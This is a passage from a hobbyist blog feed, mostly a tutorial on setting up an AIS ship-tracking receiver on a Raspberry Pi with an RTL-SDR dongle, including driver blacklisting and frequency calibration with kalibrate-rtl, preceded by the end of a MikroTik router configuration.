&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set time&lt;span style="color:#f92672"&gt;-&lt;/span&gt;zone&lt;span style="color:#f92672"&gt;-&lt;/span&gt;name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;Europe&lt;span style="color:#f92672"&gt;/&lt;/span&gt;Paris
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;tool&lt;/span&gt; mac&lt;span style="color:#f92672"&gt;-&lt;/span&gt;server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set allowed&lt;span style="color:#f92672"&gt;-&lt;/span&gt;interface&lt;span style="color:#f92672"&gt;-&lt;/span&gt;list&lt;span style="color:#f92672"&gt;=&lt;/span&gt;LAN
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;tool&lt;/span&gt; mac&lt;span style="color:#f92672"&gt;-&lt;/span&gt;server mac&lt;span style="color:#f92672"&gt;-&lt;/span&gt;winbox
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set allowed&lt;span style="color:#f92672"&gt;-&lt;/span&gt;interface&lt;span style="color:#f92672"&gt;-&lt;/span&gt;list&lt;span style="color:#f92672"&gt;=&lt;/span&gt;LAN
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You&amp;rsquo;re done : Replace Livebox with a MikroTik RB750Gr3 router and XT-010H-D ONT&lt;/p&gt;</description></item><item><title>AIS receiver on a Raspberry Pi with RTL-SDR</title><link>https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/</link><pubDate>Sat, 20 Jan 2024 00:00:00 +0000</pubDate><guid>https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/</guid><description>&lt;img src="https://www.rfontenay.fr/posts/ais-receiver-on-a-raspberry-pi-with-rtl-sdr/ais-receiver-raspberry-pi-sdr.png" alt="Featured image of post AIS receiver on a Raspberry Pi with RTL-SDR" /&gt;&lt;p&gt;In order to get our AIS receiver on a Raspberry Pi with RTL-SDR, we&amp;rsquo;ll install first the RTL-SDR software, then the AIS software.&lt;/p&gt;
&lt;h2 id="ais-introduction"&gt;AIS Introduction
&lt;/h2&gt;&lt;p&gt;AIS stands for &lt;strong&gt;Automatic Identification System&lt;/strong&gt;. It&amp;rsquo;s a maritime navigation safety communication system used by ships and vessel traffic services (VTS) to track and identify ships in real-time. Here are some key details about AIS:&lt;/p&gt;
&lt;h3 id="purpose"&gt;Purpose:
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Collision avoidance&lt;/strong&gt;: AIS helps vessels avoid collisions by providing real-time information about nearby ships.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Tracking and monitoring&lt;/strong&gt;: Authorities can track the location and movement of vessels, enhancing safety and maritime traffic management.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Navigation and situational awareness&lt;/strong&gt;: It assists with route planning and increases awareness of nearby ships, reducing accidents and improving operational efficiency.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="how-it-works"&gt;How it works:
&lt;/h3&gt;&lt;p&gt;AIS transmits data such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ship’s position&lt;/strong&gt; (latitude, longitude)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Speed&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Course and heading&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ship&amp;rsquo;s name and identification&lt;/strong&gt; (e.g., IMO number)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Type of ship&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Destination and estimated time of arrival (ETA)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AIS uses VHF radio frequencies (156.025 MHz to 162.025 MHz) to transmit this data to nearby ships and shore-based stations. There are two main types of AIS:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AIS Class A&lt;/strong&gt;: Primarily for larger commercial vessels (required by international maritime regulations for ships over 300 GT).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AIS Class B&lt;/strong&gt;: For smaller commercial or recreational vessels (typically transmitting less frequently than Class A).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="components"&gt;Components:
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AIS Transponder&lt;/strong&gt;: A device installed on a vessel that sends and receives AIS signals.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AIS Base Stations&lt;/strong&gt;: Shore-based stations that receive signals from ships and can relay information to other vessels or maritime authorities.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AIS Receivers&lt;/strong&gt;: Devices that receive AIS signals for situational awareness (used by ships, authorities, and other entities).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="rtl-sdr-software-installation"&gt;RTL-SDR software installation
&lt;/h2&gt;&lt;p&gt;Install required software for compilation :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install git cmake libusb-1.0-0-dev build-essential
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Clone software from Github :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git://git.osmocom.org/rtl-sdr.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Move to folder, compile, install and reboot :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd rtl-sdr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cmake ../ -DINSTALL_UDEV_RULES=ON
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo make install
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ldconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo cp ./rtl-sdr/rtl-sdr.rules /etc/udev/rules.d/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo reboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we can test :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rtl_test 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You might have the following issue :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found 1 device(s):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0: Realtek, RTL2838UHIDIR, SN: 00000001
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using device 0: Generic RTL2832U OEM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Kernel driver is active, or device is claimed by second instance of librtlsdr.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;In the first case, please either detach or blacklist the kernel module
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(dvb_usb_rtl28xxu), or enable automatic detaching at compile time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;usb_claim_interface error -6
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Failed to open rtlsdr device #0.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Remove the problematic driver :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo modprobe -r dvb_usb_rtl28xxu
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Blacklist it by creating the following file :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vi /etc/modprobe.d/rtl-sdr-blacklist.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With the following content :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;blacklist dvb_usb_rtl28xxu
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we can test again :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rtl_test 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The output should looks like :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; device(s):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;: Realtek, RTL2838UHIDIR, SN: &lt;span style="color:#ae81ff"&gt;00000001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using device &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;: Generic RTL2832U OEM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found Rafael Micro R820T tuner
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Supported gain values (&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;): &lt;span style="color:#ae81ff"&gt;0.0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0.9&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.4&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2.7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3.7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7.7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8.7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;12.5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;14.4&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15.7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16.6&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;19.7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;20.7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;22.9&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;25.4&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;28.0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;29.7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;32.8&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;33.8&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;36.4&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;37.2&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;38.6&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;40.2&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;42.1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;43.4&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;43.9&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;44.5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;48.0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;49.6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[R82XX] PLL &lt;span style="color:#f92672"&gt;not&lt;/span&gt; locked&lt;span style="color:#f92672"&gt;!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sampling at &lt;span style="color:#ae81ff"&gt;2048000&lt;/span&gt; S&lt;span style="color:#f92672"&gt;/&lt;/span&gt;s&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Info: This &lt;span style="color:#66d9ef"&gt;tool&lt;/span&gt; will continuously read from the device, &lt;span style="color:#f92672"&gt;and&lt;/span&gt; report &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;samples get lost&lt;span style="color:#f92672"&gt;.&lt;/span&gt; If you observe no further output, everything is fine&lt;span style="color:#f92672"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Reading samples &lt;span style="color:#f92672"&gt;in&lt;/span&gt; async mode&lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Allocating &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; zero&lt;span style="color:#f92672"&gt;-&lt;/span&gt;copy buffers
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="rtl-sdr-dongle-calibration"&gt;RTL-SDR dongle calibration
&lt;/h2&gt;&lt;p&gt;Go back to your home folder :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Install required software for compilation :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install build&lt;span style="color:#f92672"&gt;-&lt;/span&gt;essential libtool automake autoconf librtlsdr&lt;span style="color:#f92672"&gt;-&lt;/span&gt;dev libfftw3&lt;span style="color:#f92672"&gt;-&lt;/span&gt;dev
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Clone software from Github :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/steve-m/kalibrate-rtl
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Move to folder, compile and install :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd kalibrate-rtl/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./bootstrap &amp;amp;&amp;amp; CXXFLAGS=&amp;#39;-W -Wall -O3&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./configure
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo make install
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Test it a few minutes to get a rough idea of the PPM deviation :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rtl_test -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found 1 device(s):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0: Realtek, RTL2838UHIDIR, SN: 00000001
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using device 0: Generic RTL2832U OEM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found Rafael Micro R820T tuner
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Supported gain values (29): 0.0 0.9 1.4 2.7 3.7 7.7 8.7 12.5 14.4 15.7 16.6 19.7 20.7 22.9 25.4 28.0 29.7 32.8 33.8 36.4 37.2 38.6 40.2 42.1 43.4 43.9 44.5 48.0 49.6
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[R82XX] PLL not locked!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sampling at 2048000 S/s.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Reporting PPM error measurement every 10 seconds...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Press ^C after a few minutes.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Reading samples in async mode...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lost at least 168 bytes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2047684 current PPM: -154 cumulative PPM: -154
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2048101 current PPM: 50 cumulative PPM: -52
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2048077 current PPM: 38 cumulative PPM: -22
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2048198 current PPM: 97 cumulative PPM: 8
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2048066 current PPM: 33 cumulative PPM: 13
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2048093 current PPM: 46 cumulative PPM: 18
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2048072 current PPM: 36 cumulative PPM: 21
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2047986 current PPM: -6 cumulative PPM: 17
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2048079 current PPM: 39 cumulative PPM: 20
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2048108 current PPM: 53 cumulative PPM: 23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;real sample rate: 2048037 current PPM: 18 cumulative PPM: 23
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;^CSignal caught, exiting!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User cancel, exiting...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Samples per million lost (minimum): 0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We’ll keep 23 as a rough PPM value at this stage.&lt;/p&gt;
&lt;p&gt;Start to search for 900Mhz GSM stations :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kal -s 900 -g 49.6 -e 23
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found 1 device(s):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0: Generic RTL2832U OEM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using device 0: Generic RTL2832U OEM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found Rafael Micro R820T tuner
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Exact sample rate is: 270833.002142 Hz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[R82XX] PLL not locked!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Setting gain: 49.6 dB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kal: Scanning for GSM-900 base stations.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GSM-900:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chan: 2 (935.4MHz - 16.587kHz) power: 869529.54
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chan: 4 (935.8MHz + 38.960kHz) power: 2190452.67
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chan: 5 (936.0MHz - 16.799kHz) power: 4623109.31
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chan: 15 (938.0MHz + 38.865kHz) power: 815597.24
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chan: 16 (938.2MHz - 15.502kHz) power: 2225985.25
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chan: 20 (939.0MHz + 38.956kHz) power: 1047025.60
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chan: 78 (950.6MHz - 12.733kHz) power: 3137623.08
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chan: 123 (959.6MHz - 12.483kHz) power: 1856407.90
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then let’s find the PPM using here the channel 5 (as it is the stronger) :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kal -c 5 -g 49.6 -e 23
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Output :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Found 1 device(s):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0: Generic RTL2832U OEM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Using device 0: Generic RTL2832U OEM
